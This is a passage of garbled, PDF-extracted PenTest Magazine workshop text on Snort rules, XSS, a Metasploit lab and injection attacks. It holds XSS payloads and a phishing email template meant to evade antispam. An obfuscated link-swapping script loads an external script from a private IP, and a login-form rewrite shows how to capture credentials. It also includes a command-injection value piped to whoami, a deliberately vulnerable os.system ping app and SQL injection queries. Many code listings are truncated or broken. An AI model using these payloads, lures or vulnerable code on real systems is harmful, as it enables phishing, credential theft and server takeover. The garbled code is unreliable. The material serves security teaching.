noactual attack, but this does not matter its only a question of changing pattern content to turn into
a real life detection pattern.
So, as for practice, I suggest you to write your own rule for Snort to detect presence of something
intraffic. For study case choose something that does not match by existing rules in Snort. Just not
tobe confused in case that alert will be triggered by Snort default rule and not by yours.
Snort uses a simple, lightweight rules description language that is flexible and quite powerful.
Thereare a number of simple guidelines to remember when developing Snort rules.
The first is that Snort rules must be completely contained on a single line, the Snort rule parser
doesnt know how to handle rules on multiple lines.
Snort rules are divided into two logical sections, the rule header and the rule options. The rule
header contains the rules action, protocol, source and destination IP addresses and netmasks,
andthe source and destination ports information. The rule option section contains alert messages
and information on which parts of the packet should be inspected to determine if the rule action
should be taken.
Here is an example rule:
alert tcp any any -> 192.168.1.0/24 111 (content:|00 01 86 a5|; msg: mountd access;)
The text up to the first parenthesis is the rule header and the section enclosed in parenthesis is the
rule options. The words before the colons in the rule options section are called option keywords.
Notethat the rule options section is not specifically required by any rule, they are just used for
thesake of making tighter definitions of packets to collect or alert on (or drop, for that matter).
| PenTest Magazine
Includes
The include keyword allows other rule files to be included within the rules file indicated on the Snort
command line. It works much like an #include from the C programming language, reading the
contents of the named file and putting them in place in the file in the place where the include appears.
Format
include: <include file path/name>
Note that there is no semicolon at the end of this line. Included files will substitute any predefined
variable values into their own variable references. See the Variables section for more information
ondefining and using variables in Snort rule files.
Variables
Variables may be defined in Snort. These are simple substitution variables set with the var keyword.
Format
var: <name> <value>
var MY_NET [192.168.1.0/24,10.1.1.0/24]
alert tcp any any -> $MY_NET any (flags: S; msg: SYN packet;)
The rule variable names can be modified in several ways. You can define meta-variables using the $
operator. These can be used with the variable modifier operators, ? and -.
$var define meta variable
48
isundefined.
$(var:?message) replace with the contents of variable var or print out the error message
by Vladimir Korennoy
PenTest Magazine |
o detect the vulnerabilities that lead to XSS attacks during a penetration test, it is common to
use a web application scanner (burp suite, acunetix, skipfish, arachni and zap being the most
used tools to accomplish this task). During the workshop I will not cover this topic because
inmy opinion you should be able to manually detect this kind of vulnerabilities. During the workshop
Iwill use an on-line vulnerable web application[1] in order to show both the detection and exploitation
phases.
One of the most useful tool that I am going to show you during the workshop is the Burp! suite[2]:
Burp! suite is an integrated platform for performing security testing of web applications which includes
several modules that are useful during a penetration test. In the next phases i will show you how to
configure and use the following modules of the Burp! suite:
Intercepting Proxy: this module allows you to inspect and modify traffic between your browser and
the target application;
Web Application Spider: the module responsible of crawling static and dynamic content;
Repeater: this module allows you to manipulate and resend individual requests.
In order to detect Web Application vulnerabilities and thus discover the bugs behind XSS attacks, first
of all you have to setup your browser in order to intercept the requests it makes via the Burp! suite.
To do this you have to modify the proxy settings of your browser (I am going to use Firefox during
this workshop). Assuming that the Burp! suite is listening on 127.0.0.1:8080, the browser settings are
shown in Figure 1.
49
| PenTest Magazine
Figure 2.
If the Burp! suite proxy module does not appear as shown in Figure 2 you have to configure it by
adding an entry or by modifying an existing entry. If you dont have any entry, you can use the add
button to add one and then the module will appear. Figure 3 shows how to add a new proxy listener.
Ifyou already have one or more entries, select an entry to edit and configure it as shown above.
50
Once the proxy has been set up you have to enable the interception mode to start interception
ofrequests made by the web browser. Figure 4 shows how to enable the interception mode.
PenTest Magazine |
Now you are ready to start with the web application security analysis. The classes of XSS attacks
Iwant to illustrate in this paragraph, are the ones based on GET and POST requests. I am going
to use a vulnerable web application provided by Acunetix [3] in order to test the web application
scanner and to show the discussed techniques. First we have to map the web application in order
todiscover the insertion points; i.e. where the application expects input from the end user. To do that
just send a request to the web site root node using the web browser, and send it to the spider as
shown in Figure 4. Note: The first time you launch the web application spider tool on a URL using the
Burp Suite, a pop up will warn you that your targets list does not contain the URL sent and it asks you
if you want to add it to the targets list, do not panic and click ok
51
Once the spider has finished his work you can check the results in the site-map. By selecting the site
name in the left pane, you will see in the right pane all the detected pages with the relevant details
including the HTTP method used to invoke the web page and the parameters used during the page
invocations. The site-map should look like the Figure 5.
| PenTest Magazine
The sitemap should be carefully analyzed and we should test all the scripts that accept input
parameters in order to spot the vulnerabilities that can lead to xss attacks. In order to demonstrate
how to detect a vulnerability accessible through HTTP GET requests I am going to analyze the script
/listproducts.php. As shown in the site-map, one of the parameters accepted by the script is named
artist; by manipulating this parameter we may be well able to inject arbitrary HTML\Script in the
resulting page. Burp! suite offers several different ways to manipulate a request. In this case I am
going to show you how to use the repeater tool to manipulate a request coming from a sitemap entry.
Figure 6 shows how to invoke the repeater starting from a sitemap entry.
52
Using the standard configuration of the repeater tool window, on the left side you have the request
you want to manipulate and on the right side you have the server response. The view arrangement
could be different but the labels Request and Response should help you to figure out what is
going on your Burp! suite To test whether the page is vulnerable or not, I usually inject an arbitrary
PenTest Magazine |
Figure 7 shows how to manipulate, and send, the request to the server.
53
If nothing goes wrong, in the resulting page you should be able to see the pattern <pentestmag>.
As you can see the injection is pretty straightforward and at first sight no check is done on the input
string. Also, no encoding is applied to the string on the resulting page. By repeating the request and
injecting a different string, this time a javascript expression like <script>alert(pentestmag);</script>,
we can check whether the vulnerability leads to XSS attacks. This time the request should look like
the following:
GET /listproducts.php?artist=<script>alert(pentestmag);</script> HTTP/1.1Host:
testphp.vulnweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://testphp.vulnweb.com/artists.php?artist=1
By repeating the modified request as shown before you should be able to see the unmodified payload
in the response page as shown below:
<div id=content>
| PenTest Magazine
You have just spotted a vulnerability that lead to reflected (non persistent) xss attacks The basic
PoC of the vulnerability that everyone can figure out can be done by just pointing your web browser
to the specially crafted URL (you can check the request with the Burp! proxy) http://testphp.vulnweb.
com/listproducts.php?artist=<script>alert(pentestmag);</script> and by observing the injected
javascript code being executed. Figure 8 shows the javascript code executed by the web browser.
54
Video 1 shows the whole process. The above example relies upon an http request made with the
GET method. Obviously you can also spot this kind of vulnerability if the requests are made with POST
method using the same detection process. Assume we want to test the PHP script named comment.
php accessible from the page artists.php. This time Im going to show you how to modify a request
from the proxy interface. First of all ensure that the interception mode of the proxy is enabled, then
just fill the form and observe the request in the proxy window. Figure 9 shows the web page rendered
in the browser and Figure 10 shows the intercepted request in the proxy window. As you can see,
once the request is submitted through the repeater, you can see a message like Francesco, thank
you for your comment. is displayed on the resulting page. So, in this case we can focus on the
parameter name and check whether the page is vulnerable or not.
PenTest Magazine |
Also this time, by supplying the string <pentestmag> as a value for the name parameter in the
repeated request, we expect to find the pattern inside the server response in case of a vulnerable
page. The request should look like the following:
POST /comment.php HTTP/1.1Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://testphp.vulnweb.com/comment.php?aid=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
name=<pentestmag>&comment=Nice artist!&Submit=Submit&phpaction=echo+%24_
POST%5Bcomment%5D%3B
55
Figure 12 shows the server response which includes the pattern <pentestmag> free from any form
ofencoding.
As shown for the first class of vulnerability, by repeating the request and by injecting a javascript
expression like <script>alert(pentestmag);</script>, we can check whether we are able to execute
arbitrary code. This time the request should look like the following:
POST /comment.php HTTP/1.1Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://testphp.vulnweb.com/comment.php?aid=1
Connection: keep-alive
| PenTest Magazine
You should be able to see the unmodified payload in the response page as shown below
<body>
<p class=story><script>alert(pentestmag);</script>, thank you for your comment.</
p><p class=story><i></p></i></body>
As shown in the resulting page, we spotted another vulnerability. By repeating the request directly
from the web browser we can have the casting out nines. Figure 13, shows the code executed
inthebrowser.
56
A brief note, some of you may have noticed that the code is injected also inside the page title but
isnot executed by the web browser. Try to figure out by yourself how to get the code executed also
inthe first injection point too.
The vulnerabilities shown so far rely on the lacks of validation, encoding and neutralization by server
side components. DOM XSS are a completely different story as the vulnerabilities reside inside the
client side components (eg. inline functions, external javascript libraries, etc.). The detection approach
is completely different and may vary from an application to another. I am going to use a vulnerable
web application provided by Acunetix [4] to show off some techniques used to detect this kind of
vulnerabilities.
Few words about the detection process. The detection process of vulnerabilities that lead to DOM
based XSS is similar to the process used during the code review phase, basically you have to analyze
PenTest Magazine |
57
At line 117 you can see a candidate source, window.location.href which returns the URL of the current
page. The user supplied data is assigned without any form of validation and encoding to the variable
hrf just to check, at line 118, if the current URL is not http://www.facebook.com. If we pass this
check, then at line 119 we meet our sink point.
By analyzing the main page of the website we can notice that the script is always executed, so in
order to trigger the vulnerability we have to manipulate the URL and try to execute arbitrary javascript
code. Since we are dealing with the DOM, we cannot use the Burp! suite to analyze the vulnerability.
I used to work with Firebug but the developers tools shipped along with other browsers may as well
serve for the purpose. In order to verify what we are indeed inspecting the javascript source code
we can proceed by setting a breakpoint on the document.write sink in the Firebug script debugger.
Figure14 shows the breakpoint set.
| PenTest Magazine
58
So, our input is not shown the way we expected. Lets try to inject the usual ><script>alert(1);</
script>. Note the leading quotation marks and the bracket as they serve to close the <div> tag at
thebeginning, just before our <script> tag. Figure 17 shows the results of the javascript execution.
In Figure 16 you can see the result of javascript execution.
What goes wrong? Nothing, Firefox encodes all the requests so this kind of vulnerability can not be
exploited on the Firefox web browser.
Does this mean that the code is not vulnerable? Absolutely not.
In fact, when the same code is evaluated by another web browser, things may very well be different.
By accessing this URL http://testhtml5.vulnweb.com/?><script>alert(1);</script> using Internet
Explorer, youre going to effectively see that we were able to inject, and execute, arbitrary code.
Figure18, shows the code executed in the browser.
PenTest Magazine |
DOM XSS are pretty nasty and they are not always easy to detect. In real life you have to deal with
encoded or minified version of javascript. In addition to your skill, a good scanner can help you spot
this kind of vulnerabilities.
59
Lets start with the first tip. Usually an XSS attack starts with a malicious email containing the link
used to exploit the vulnerability. Often the mail are not well formatted and the user is discouraged
to click anywhere on the mail. Moreover, if the user try to inspect the link by hovering the mouse
on it, the exploit string would seem suspicious to the user and the link would not be clicked. In my
experience, an email composed only by a single image and an innocent link to a web page hosting
the real exploit is enough to trick the user into clicking the email. As a side effect of this, most of the
perimetral antivirus and antispam systems do not recognize the email as a threat how to kill two
birds with one stone .
An HTML email template could be the follow
1 <html>2 <head><title>Sometitle</title></head>
3 <body>
4 <center>
5 <a href=http://somesite.it><img src=data:image/gif;base64,R0/></a>
6 </center>
7 </body>
8 </html>
Note that the image is embedded, so the mail client will not annoy the user telling that for security
reasons the remote content will not be shown.
The second tip regards the web pages on the site that hosts the xss exploit. If a link contains
directly the exploit string, the user would notice it just by hovering with the mouse on it. Figure 19
shows what happen with a link that embeds directly the exploit string.
| PenTest Magazine
To avoid this you can take advantage of DOM and javascript properties: in brief you can make a link
appear in a way and once the click event is fired you can change the link destination. The following
code does the magic .
1 <html>
2 <head><title>Pentest Magazine</title></head>
3 <body>
4 <script>
5 function gotoUrl(elementId){
6 var xssVector = unescape(%68%74%74%70%3a%2f%2f%74%65%73%74%70%68%70%2e%76
%75%6c%6e%77%65%62%2e%63%6f%6d
%2f%6c%69%73%74%70%72%6f%64%75%63%74%73%2e%70%68%70%3f%61%72%74%69%73%74%3d%3c%73%63%
72%69%70%74%3e%61%6c%65%72%74%28%27%70%65%6e%74%65%73%74%6d%61%67%27%29%3b%3c%2f%73%
63%72%69%70%74%3e);
7 var elementA = document.getElementById(elementId);
8 elementA.removeAttribute(href);
9 elementA.setAttribute(href, xssVector);
10 }
11 </script>
12
13 <a id=link1 href=http://testphp.vulnweb.com onclick=javascript:gotoUrl(link1);
>Click Me</a>
14 </body>
60
15 </html>
Instead of the classic link format it is possible to change the link behaviour through the javascript
function named gotoUrl(). The function takes as argument the element id of the link and simply
replaces the href attribute stated in the html tag declaration with the content of the variable named
xssVector. The content of the variable xssVector is the string http://testphp.vulnweb.com/
listproducts.php?artist=<script>alert(pentestmag);</script>, our attack payload used in the first
example I showed. In this case the string was encoded just to take it easy and avoid the special
characters escaping. The above example is designed to issue GET request. If the XSS resides inside
a POST request the same example would need some modifications although the basic concept
remains the same. When you have to deal with XSS in POST request you have to include a form
similar to the one used in the vulnerable site in your page and then manipulate the vulnerable
parameters using the Javascript code. The following example shows just how to do that.
1 <html>
2 <head><title>Pentest Magazine</title></head>
3 <body>
4
5 <a id=link1 href=http://testphp.vulnweb.com onclick=javascript:gotoUrl(link1);
>Click Me</a>
6
7 <form id=forma action=http://testphp.vulnweb.com/comment.php method=post
enctype=application/x-www-form-urlencoded>
8 <input type=hidden name=name id=name value=>
9 <input type=hidden name=comment id=comment value=Nice></textarea>
10 <input type=hidden name=Submit value=Submit>
11 <input type=hidden name=phpaction value=echo $_POST[comment];>
12 </form>
13
PenTest Magazine |
By following these basic tips, in addition to some pretty graphics layout (possibly alike the one
usedin the vulnerable website), you will probably trick most of the users victim of your attack during
apenetration test.
61
1 <html>
2 <head><title>Pentest Magazine</title></head>
3 <body>
4 <script>
5 function gotoUrl(elementId){
6 var xssVector = unescape(%68%74%74%70%3a%2f%2f%74%65%73%74%70%68%70%2e
%76%75%6c%6e%77%65%62%2e%63%6f%6d%2f%6c%69%73%74%70%72%6f%64%75%63%74%73%2e%70%68%70%
3f%61%72%74%69%73%74%3d%3c %73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%
31%39%32%2e%31%36%38%2e%32%30%34%2e%32%2f%70%74%6d%61%67%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e);
7 var elementA = document.getElementById(elementId);
8 elementA.removeAttribute(href);
9 elementA.setAttribute(href, xssVector);
10 }
11 </script>
12
13 <a id=link1 href=http://testphp.vulnweb.com onclick=javascript:gotoUrl(link1);
>Click Me</a>
14 </body>
15 </html>
Now we have to write the code responsible for the page modification, the first thing we have to care
of is the URL bar behavior as if a user sees strange strings in it could suspect that he has fallen
victim of an attack. The URL bar modification could be achieved using the function window.history.
replaceState() in the following way:
var HIST_STATE = login page;
| PenTest Magazine
The following step is needed to clear the page content. This operation is necessary in case of high
network latency. Without this operation the user will be able to see that a web page is not properly
formatted because of the injection. Briefly, this code will remove the whole content of the body and will
replace it with a new body and the message Page is loading .To change the web page aspect you
can use the following code:
var h3Section = document.createElement(h3);
var bodySection = document.getElementsByTagName(body)[0];
As result of this operation the page content will change from what is shown in Figure 20 to what
isshown in Figure 21.
62
Finally it is time to replace the content. Since Im a lazy boy Im going to show you a technique that
will surely work on firefox (it should be tested on other browsers but Im sure that it does not work
onInternet Explorer), and that it is capable to replace the whole page in one shot. To replace the page
content the script will issue an XMLHttpRequest, once the page is loaded in background the content
is replaced by using the functions document.open(), document.write() and document.close().
In order to modify the page behaviour, the script, before writing the page using the above functions,
makes some manipulation of the resulting html using the strings manipulation functions to insert the
arbitrary script and to modify the form action. The code responsible for this is the following:
1 var
2 var
3
4 var
5
6
7
PenTest Magazine |
TARGET_URL = /login.php;
xmlHttpRequest = null;
scriptContent =
<script type=text/javascript>function doHttpPost(){ +
var form=document.getElementById(\user-login-form\);+
alert(\username=\+ form.elements[0].value+\+
63
Some clarifications about the script: after the object instantiation, from line 29 to 33, we set an
handler for the onreadystatechange event, at line 35. After the request is sent, at line 37, using the
GET method on the target page defined at line 36, the javascript will start to hit our handler function.
Oncethe page is fully downloaded (xmlHttpRequest.readyState = 2 and xmlHttpRequest.status = 200),
at line 12, the string manipulation takes place and the page content replacement occurs inside the
fillPage() handler. The original html undergoes two fundamental changes: the first change regards
the script injection, using the substring functions, at lines 18,19, with the marker defined at line 16, the
downloaded html content is modified with the insertion of the script, defined at line 4. At line 20 you
can see the result of the operation. the second change regards the form action. At line 21 the original
action, the one defined at line 14 is substituted with the new action, which allows the execution of the
arbitrary script once the form is submitted, as defined at line 15. After the changes are made the page
is rendered to the user from line 23 to line 25. in this PoC the script will popup the supplied credentials
once the form is submitted. By putting this all together, the final script is the following:
1 var HIST_STATE = login page;2 var HIST_LOCATION = /login.php;
3 var TARGET_URL = /login.php;
4
5 var scriptContent =
6 <script type=text/javascript>function doHttpPost(){ +
7 var form=document.getElementById(\user-login-form\);+
8 alert(\username=\+ form.elements[0].value+\+
9 &password=\+form.elements[1].value);+
10 return false;}</script>;
11
12 var xmlHttpRequest = null;
13
14 function fillPage(){
| PenTest Magazine
64
Conclusions
In this module I have shown you how to detect and exploit the vulnerability that lead to XSS attacks.
During a penetration test you have to adapt these techniques against your scenario in order to
successfully exploit the vulnerabilities. In the next modules I will show you how to detect and exploit
vulnerabilities through protocols different from http.
PenTest Magazine |
https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project
http://portswigger.net/burp/
http://testphp.vulnweb.com/
http://testhtml5.vulnweb.com
https://code.google.com/p/domxsswiki/wiki/Sources
https://code.google.com/p/domxsswiki/wiki/Sinks
by Francesco Perna
65
| PenTest Magazine
66
Please Note
Althoughthis is a workshop from the beginner to advance skills, well not cover detailed installation
of all software mention. Its a good exercise for you to became familiar with most of the tools mention.
With so many options available for Metasploit, what flavor should we pick to install? The good thing
about this Metasploit is that it will run on almost anyOSavailable: from Windows to Linux you have
a choice and thats always good. For our Virtual Lab Tutorial, well go with something a little bit more
advanced. Well be using a full version ofKali Linux. The reason why it is because Metasploit, as
mentioned before, is not a tool, but better yet a framework and therefore it will interact will a bunch
of other tools. And since well be exploring that side also, Kali Linux brings out of the box most of the
tools well need to use. That will save us a lot of time by not making us install everything from scratch.
Never the less, you can always create your own installation and still follow all the tutorial steps.
With Metasploit already present in Kali Linux, well need a target.Remember, we should never
do any kind of testing on systems we dont own and/or do not have written permission to do so.
Thegood folks of Rapid7 (just to refresh your memory, this is the company that developed and owns
Metasploit) created a VM we can easily deploy to practice our Metasploit skills without doing anything
illegal Metasploitable 2.
And because we want this to be as real as possible, well need to add something extra to make
it acomplete network. Well be adding a full functional firewall and a full functional router. Well be
doing all this inside a sandbox environment, making sure nothing leaks to the outside. After all youll
be running some compromised machines that we dont hackers from the outside to find out. For the
firewall well be using Checkpoint 77.20 and for the router well be using a Cisco 1800 series. All this
will go into our good old Virtualbox. Yes everything will be virtual.
Some of you might be starting to get nervous (at least I did when writing this tutorial). Where will
Ifind all the material required? Will I need to invest money to get all the material? What if I cant get it?
PenTest Magazine |
67
This is the our network throughout the Workshop. It might look complex but youll see its easier
than you think. Another side of this simple diagram is the ability to simulate as real as possible the
scenarios penetration testers will find when doing their job: we have our fluffy Router, Cisco in this
case but you can use whatever you want, to simulate our WAN. That allows us to place any device
on it not really mattering if its the Kali or any other device you want to test; we have our firewall,
Checkpoint in our case, but you can easily replace it by any Linux with IPTABLES on it. That means
you can segment the network anyway you want to, by adding more interfaces and virtual networks
| PenTest Magazine
68
And thats it, were ready to deploy our virtual machines by choosing the proper interface to connect
the host. This scenario can also escalate, as you can add different networks and devices and test
different scenarios.
There are different alternatives to Virtualbox and if you look around you even might find better
alternatives.
Lets say you have aCitrix XenServer(http://www.citrix.com/products/xenserver/overview.html) or you
prefer another desktop virtualization tool like VMware (http://www.vmware.com/products/workstation)
oreven you rather use Microsoft Hyper-V, you can. Its really up to you and most of the solutions out
there let you configure that same type of networks weve configured. The big difference I found from
system tosystem is on how you configure internal networks. In Virtualbox you do it from settings
oneach machine, but in all the systems mention above you have to define such networks before
youbind aVMto it. You can find more detailed documents on the support page for each vendor.
PenTest Magazine |
69
| PenTest Magazine
70
PenTest Magazine |
71
At the end pressOK, and from the VM menu in Virtualbox, select Kali VM and press start to boot up
the machine
| PenTest Magazine
72
Before we start using Kali Linux on our Lab, we need to make sure its fully updated and some
applications are in place. For these steps I do recommend that you disconnect the second
interface and just use the NAT one
As soon you finish installation, login (with root username) to Kali Linux with the credentials
provided during the initial setup and open a terminal window (it should be a link on the top bar
bydefault) and run the following command:
PenTest Magazine |
Well need to install Virtualbox tools so we can take the most out of the Kali VM:
With the VM running, click on top menuDevice > select Insert Guest Additions CD image and
select Cancelif a pop appears on Kali Desktop
73
| PenTest Magazine
And thats it. Kali Linux is up and running and ready for penetration testing. Just remember to
disconnect adapter 1 and connect adapter 2 since thats the one that puts the VM on the WAN.
Metasploitable 2 there isnt much we can do on this except to download it and run it.
Metasploitable 2 comes in a zip format and inside youll find a VM ready to run, in our case in
Virtualbox. This VM was specially prepared by Rapid7 with some nice vulnerable software versions, so
we could freely test the Metasploit framework without doing anything illegal.
Download the zip file from http://sourceforge.net/projects/metasploitable/files/
Metasploitable2/and unzip it
Lets start by opening Virtualbox, create a new VM called Metasploitable 2 with:
Type Linux
Version Ubuntu 32 bits
512 MB of RAM
Use an existing virtual hard drive file and select the vmdk file that you just unziped and press
create
Choose the new Metasploitable 2 VM and press settings
Go toNetwork > and make sure Internal Networkis selected and cable is connected. On the
name of the Network just typeDMZand pressOK
74
PenTest Magazine |
sudo vi /etc/network/interfaces
75
| PenTest Magazine
The Firewall
Welcome to Checkpoint world. I dont want to go into much detail about Checkpoint firewalls but for
those who dont know them please check their website atwww.checkpoint.com. Checkpoint firewalls
are a modular all-in-one security system and for the tutorial itself who just need to know that the
modular components are referred as Blades (that require licensing) and they can pack their firewall
on a modified version of Red Hat that we can run in virtual box. You will need a corporate account
todownload their Gaia software (the one we need for the tutorial), in our case Gaia R77.20.
Also, I wont go into much detail on installing the firewall since I believe to be very straight forward.
If you dont get it the first time, the good news is that you can always try again. Also, well need
todecide where are you going to manage the firewall. Checkpoint uses a management station
that connects to a client, smart console, that only runs on Windows. So well needing a windows
machine to install and manage the firewall. In my case Im going to use a Windows 7 VM on Virtualbox
tomanage it. The reason why its because Im actually running all this lab on a Kali Linux (inception
style, Kali inside Kali) so no way I can get the smart console installed on Linux.
The point is, youll need to be careful when you install the firewall and adapt according to your
scenario. Youll be prompted to pick a management interface (you can always change it after but we
wont be covering this) and you need to make sure you have access to the firewall VM from that host.
Lets say youre running Virtualbox on a Windows machine. What you could do is configure Adapter
1 on the firewall to be aHost-onlyinterface and then install the smart console on your physical
Windows machine.
76
In our case, since Im using a Windows 7 VM to manage the firewall, Im going to add 1 more
interface to each VM, place it in aInternal-networkcalledMGMTand give it any IP I want. Then both
the Windows VM and the firewall VM will have an adapter on this network and Ill set it to be the
management adapter when installing the firewall. This way Ill be able to manage the firewall from my
Windows 7 VM without having traffic going through my physical network (that could be a potential
nightmare). What we need to do:
Login tohttps://usercenter.checkpoint.comand search for Gaia R77.20 ISO. Download it
Open Virtualbox, createNewVM > Name itFW1> ChooseLinuxandRed Hatas the OS > Give
it512 MBofRAM> Create a newdynamically allocatedhard drive with75 GB> AndCreate
Open the settings of the new VM
For the CD drive lets pick the ISO file download from Checkpoint
For the networking
Adapter 4 will me our management interface Internal Network MGMT
Adapter 1 will me the connection to the outside, normally calledUntrust(Internal Networkalso)
Adapter 2 will beInternalnetworkDMZas our Metasploitable 2 machine
Start FW1 VM and follow the step-by-step installation, leaving most to the defaults and
remembering to set the management interface to be adapter 1 in our case (eth3)
When the installation finishes, HTTPS to the IP set during setup and finish the configuration
Login withadminand the password setup during installation
Follow the installation wizard
At this point its irrelevant which interface you choose to connect to user center. This firewall
will come with a full license for 15 days so you can try all the blades of the firewall
Make sure you chooseFW1as thehostname
PenTest Magazine |
77
After the reboot, just HTTPS to the firewall again and setup the following:
Set interface eth0 address (and dont forget to enable it) to10.10.0.254/24
Set interface eth2 to be10.20.0.254/24
Set the default route to be10.10.0.200
| PenTest Magazine
78
by Bruno Rodrigues
PenTest Magazine |
Broken Authentication
andSession Management
njection is a process of inserting some data (possible malicious) in input that goes to a Web
application. There are many types of injections, differentiated mostly by the actual place of injecting
malicious data.
The most often seen types are:
Command Injection
SQL Injection
Code Injection
Xpath Injection
RegEx Injection
XXE (XML External Entities) Injection
There are other varieties, of course, but the main thing to understand here is that injection can be
done in every place where a hacker can control the input and the system does not validate it correctly
or blindly trusts it.
And whatever type you call it, it will still be an injection. Injections is a really wide field of
vulnerabilities, and in this module I will try to undercover the most popular types.
79
The other main thing to understand here is the cause of injection. Any injection becomes possible
due to a lack of input validation or mistakes in processing input (or both).
The impact on security of such kind of vulnerabilities can be fatal. Injection can result in data loss
orcorruption, lack of accountability, or denial of access. Injection can sometimes lead to complete
host takeover.
Now lets look over each popular type of injection.
Command Injection
Command injection is a method of executing OS system commands in general. These commands
are delivered with user-controlled input data and then incorrectly parsed (or not parsed at all). This
vulnerability is very common for web based control panels and many kinds of web wrappers to some
os-native scripts.
So, for example, if theres a flow in the Web applications logic where a file in the filesystem
iscreated somehow based on user input, this is a point to double-check validation and correctness
ofprocessing the input data.
Now, lets construct our own vulnerable web application to understand the background of the
command injection process.
We will write a simple Web app with the main goal of pinging servers on the internet. There are
many such applications in the wild now. And they are popular whois web services, online statistics
and others. So, this application allows one to enter a server address and ping that address, then it
returns the result. Pretty straight forward.
I will provide you two versions of all examples: one in Python and one in PHP.
| PenTest Magazine
Create a bin folder for our main script and a templates folder for the HTML page with output from
ourscript.
Next step is to write the main script.
Create a file called app.py in the bin folder.
Now, here is a simple Web application making a ping:
import web
import subprocess
import os
80
def GET(self):
form = web.input(name=google.com)
servername = form.name
# Calling ping command
p = os.system(ping -c 3 + servername);
if p == 0:
output_from_ping = OK!
else:
output_from_ping = DOWN!
return render.index(output = output_from_ping)
if __name__ == __main__:
app.run()
The next file is a template for our output. Name it index.html and put it in the templates folder.
<html>
PenTest Magazine |
<title>Header</title>
<body>
$if output:
Server output: <pre>$output </pre> <br />
$else:
No data
</body>
</html>
As you can see on app.py listing, the application expects the name parameter from the user. We can
provide it by simply adding ?name= to the URL. Then we run the ping command via os.system
and look at the call result. If it is 0, it is OK, and if it is not, maybe the host is down. For the simplicity
of example, we do not process all errors, variants and other things making this script completely
correct.
Now you can run it.
$ python bin/app.py
That is the URL to which our application is binded now. Do not be confused by the 0.0.0.0 address
itis just a localhost. So you can point your browser to localhost:8080 and it will work.
The entire structure in file system looks like this:
81
As for the program code, it is pretty simple, but I will explain some things for some of you who are not
familiar with such things.
The key steps in this script are:
render = web.template.render(templates/)
| PenTest Magazine
This one tells it to take the name argument from the received request.
p = os.system(ping -c 3 + servername);
And the main line here is actually making ping command. It constructs full command by adding the
server name to predefined part of command and runs it.
Now we can look at our application at work. Point your browser to http://localhost:8080.
82
As we are not sending any arguments to our application, it uses the default value predefined in code:
google.com. So, this run means google.com is up and running, ping command done. Now lets add
arguments to this requests. Test it yourself by trying different server names.
And here is the same thing in PHP. As for PHP version, I assume you are running web server
onlocalhost and PHP installed in it.
So, index.php could be like this:
1.
2.
3.
4.
PenTest Magazine |
<?php
$servername = google.com;
if(isset($_REQUEST[name])) {
$servername = $_REQUEST[name];
-c 3 . $servername, $retvalue);
== 0) {
is OK;
The hacker will see the same output. But now it will have more meaning for him. He has injected
another command in the argument, and is still getting OK as a result, no error. This means that the
command constructed with this data is still valid and runs OK. So, thats cool, however the hacker
does not see the output of commands. But who said that? He can write output to files!
Look at this request:
83
http://localhost:8080/?name=google.com|whoami>user.txt
So, I think you get the idea. The hacker can inject shell commands in input. And this could be not just
simple whoami command. It definitely will be a shell, it could even be a scripta real big rootkit
Now imagine the next steps of the hacker. Im pretty sure that the next injected command will be
the one adding a user, or printing config files to files in order to read them and understand details of
your server machine. And then one could write a big rootkit script, place them on his public server,
and then inject command which will download and execute it. And thats it! The hacker already owned
almost your entire server. Just that simple!
SQL Injection
This type of injection is a very popular one. The popularity comes from a wide-spread use of SQL
databases. The main goal of SQL injection is the same as an injection in general the hacker
somehow inputs his data and this data is interpreted as a part of SQL query.
Lets look at the example.
We will take the previous example with some changes. Imagine now that we have some page on our
site, where we show a list of servers to ping. The user can pick any and our application will try to ping it.
And in our application, we get the ID of server user picked up, looking into a database to get the
address of that server and then making ping.
| PenTest Magazine
Server
1
2
3
N
and every record in this list is a link. The link is quite simple:
http://localhost:8080/?id=1
That means every link contains the unique identifier of a database record.
Ok, thats works fine.
In our application now, we must make some changes to handle this. As we must retrieve the
servername from database, we need to query for it.
1. <?php
2. //
3. if(!isset($REQUEST[id]))
4. die(No identifier provided);
5. // ...
6. $id = $_REQUEST[id];
7. $sql_query = SELECT * FROM servers WHERE id= . $id;
8. $result = mysql_query($sql_query);
9. //
10. // handing the results
11. //
12. ?>
84
The $id here is a unique server identifier that we used in our links on the page. It comes from the URL.
Now consider the hacker sees the links and will try to put something unnatural in your ID argument.
For example, the first try of SQL injection is commonly like this:
http://localhost:8080/?id=
Just a quote. The result of this request will be an error. The error occurs because of invalid SQL query
constructed:
SELECT * FROM servers WHERE id=
The syntax here is invalid as you see. The next thing a hacker does when he know that there is
something wrong with input validation in your application is to try the next things on it and look
whatthe result would be. For example:
http://localhost:8080/?id=1+1
If they are equal, it indicates that you are processing the input incorrectly and injection can be done.
In this case, theres no strict interpretation of input as a string, the numbers got summarized.
Then usually comes the real SQL injection like:
http://localhost:8080/?id=1 UNION SELECT passwd FROM users
PenTest Magazine |
And the hacker will now log into admins account, without even checking for a password. This query
just tells the database to get the admin users record and the application thinks that it is the record
foruser provided pair of login and password. The hacker inserted a comment sign there and the rest
of query containg password checking is now considered as a comment by an SQL engine.
85
Code Injection
This injection type is an injection of external code somehow in a script process and processing it.
Incode injections, hackers try to make your application include their external file with malicious code
and run it. This typically happens when applications use user input somehow in identifying what code
file to include or use in constructing path to code files.
For example, we can consider a site consisting of several pages and the ability to switch between
them. When the developer of such application is not keeping security aspects in mind, it could lead
to big security holes. Lets look at the example app that uses page switching and the target page
isprovided in URL.
Like this:
